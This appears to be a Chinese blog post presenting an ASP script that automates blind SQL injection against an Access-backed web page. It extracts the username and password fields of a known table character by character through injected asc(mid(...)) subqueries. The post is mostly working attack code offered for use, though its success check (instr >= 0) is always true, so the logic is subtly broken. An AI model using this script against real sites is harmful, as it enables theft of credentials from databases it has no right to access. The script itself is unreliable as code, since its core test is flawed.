通用Access字段数据获取模块

闲来无事,玩了玩Sql Injection,数据表名及字段名猜测就不贴了,贴一下直接获得已知表名字段名的数据的过程!

getdata.asp

<!--#include file="gbutf.asp"-->
<%
Server.ScriptTimeOut = 6000000

function getuid(n,col,getid)
    dim rv
    rv = "无"
    for i = 0 to 200      '取ASCII码范围,负数(汉字)的没做处理;
 dim urlpath        'http://www.xxxxxxxxx.com/news.asp?id=1为要注入的目标地址,[TABLE]为您已经猜测到的表名,where id=为该表的字段id,如果没有,可以更改语句如order by ???

 urlpath = "http://www.xxxxxxxxx.com/news.asp?id=1%20or%20(select%20top%201%20asc(mid("&col&","&n&",1))%20from%20[TABLE]%20where%20id="&getid&")="&i&""

 With xmlhttp
  .Open "GET",urlpath,False
  .Send
 End With

 If xmlhttp.Status = 200 Then
  dim result
  result = xmlhttp.responseBody
  result = BytesToBstr(result,"GB2312")
  If instr(result,"错误信息") >= 0 then        '这里的错误信息设定为实际页面上的错误信息
   rv = chr(i)
   Exit For
  end if
 End if
    next
    If rv<>"无" then
 Response.write rv
 If n<15 then        '假设字段长度为15,如果实际更长就改大,否则就缩小,加快速度;
  getuid int(n+1),col,getid
 end if
    end if
end function


dim xmlhttp
Set xmlhttp = Server.CreateObject("MSXML2.XMLHTTP")

'getuid函数参数意义
'参数1:从第一位开始取;
'参数2:要获取数据的字段名;
'参数3:指定的数据编号,如id=1的记录

getuid 1,"username",1
response.write " : "
getuid 1,"password",1

Set xmlhttp = Nothing
%> 

gbutf.asp

<%
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值